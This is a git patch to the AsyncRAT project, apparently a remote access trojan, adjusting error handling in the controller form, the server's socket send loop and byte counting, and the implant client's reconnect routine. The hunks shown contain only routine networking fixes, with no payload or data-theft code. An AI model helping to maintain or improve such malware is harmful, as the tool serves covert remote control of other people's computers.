From 0fcbc94b69b7a93e7f7fe0ea4f48a7dea9b0ef31 Mon Sep 17 00:00:00 2001
From: NYAN CAT <NYANxCAT@pm.me>
Date: Sun, 27 Jan 2019 08:17:14 -0800
Subject: [PATCH] Update

---
 AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs          |  5 ++++-
 AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 13 +++++++++----
 AsyncRAT-C#/Client/Program.cs                |  4 ++--
 3 files changed, 15 insertions(+), 7 deletions(-)

diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
index 4b8d775..61e3f89 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
@@ -80,7 +80,10 @@ namespace AsyncRAT_Sharp
                         }
                     }
                 }
-                catch { }
+                catch (Exception ex)
+                {
+                    MessageBox.Show(ex.Message);
+                }
             }
         }
 
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index 998c087..1744639 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -6,6 +6,7 @@ using System.Windows.Forms;
 using AsyncRAT_Sharp.Handle_Packet;
 using Microsoft.VisualBasic;
 using System.Diagnostics;
+using System.Threading.Tasks;
 
 namespace AsyncRAT_Sharp.Sockets
 {
@@ -129,8 +130,13 @@ namespace AsyncRAT_Sharp.Sockets
                         byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
                         await MS.WriteAsync(buffersize, 0, buffersize.Length);
                         await MS.WriteAsync(buffer, 0, buffer.Length);
-                        Client.Poll(-1, SelectMode.SelectWrite);
-                        Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
+                        while (!(Client.Poll(-1, SelectMode.SelectWrite)))
+                        {
+                            await Task.Delay(100);
+                            if (!Client.Connected) Disconnected();
+                        }
+                            Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
+                            Settings.Sent += (long)MS.Length;
                     }
                 }
                 catch
@@ -144,8 +150,7 @@ namespace AsyncRAT_Sharp.Sockets
         {
             try
             {
-             int Sent = Client.EndSend(ar);
-                Settings.Sent += Sent;
+                Client.EndSend(ar);
             }
             catch
             {
diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs
index e4b781b..fd14d16 100644
--- a/AsyncRAT-C#/Client/Program.cs
+++ b/AsyncRAT-C#/Client/Program.cs
@@ -87,11 +87,11 @@ namespace Client
                     Client.Close();
                     Client.Dispose();
                 }
-
-                MS?.Dispose();
             }
             catch { }
 
+            MS?.Dispose();
+
             InitializeClient();
         }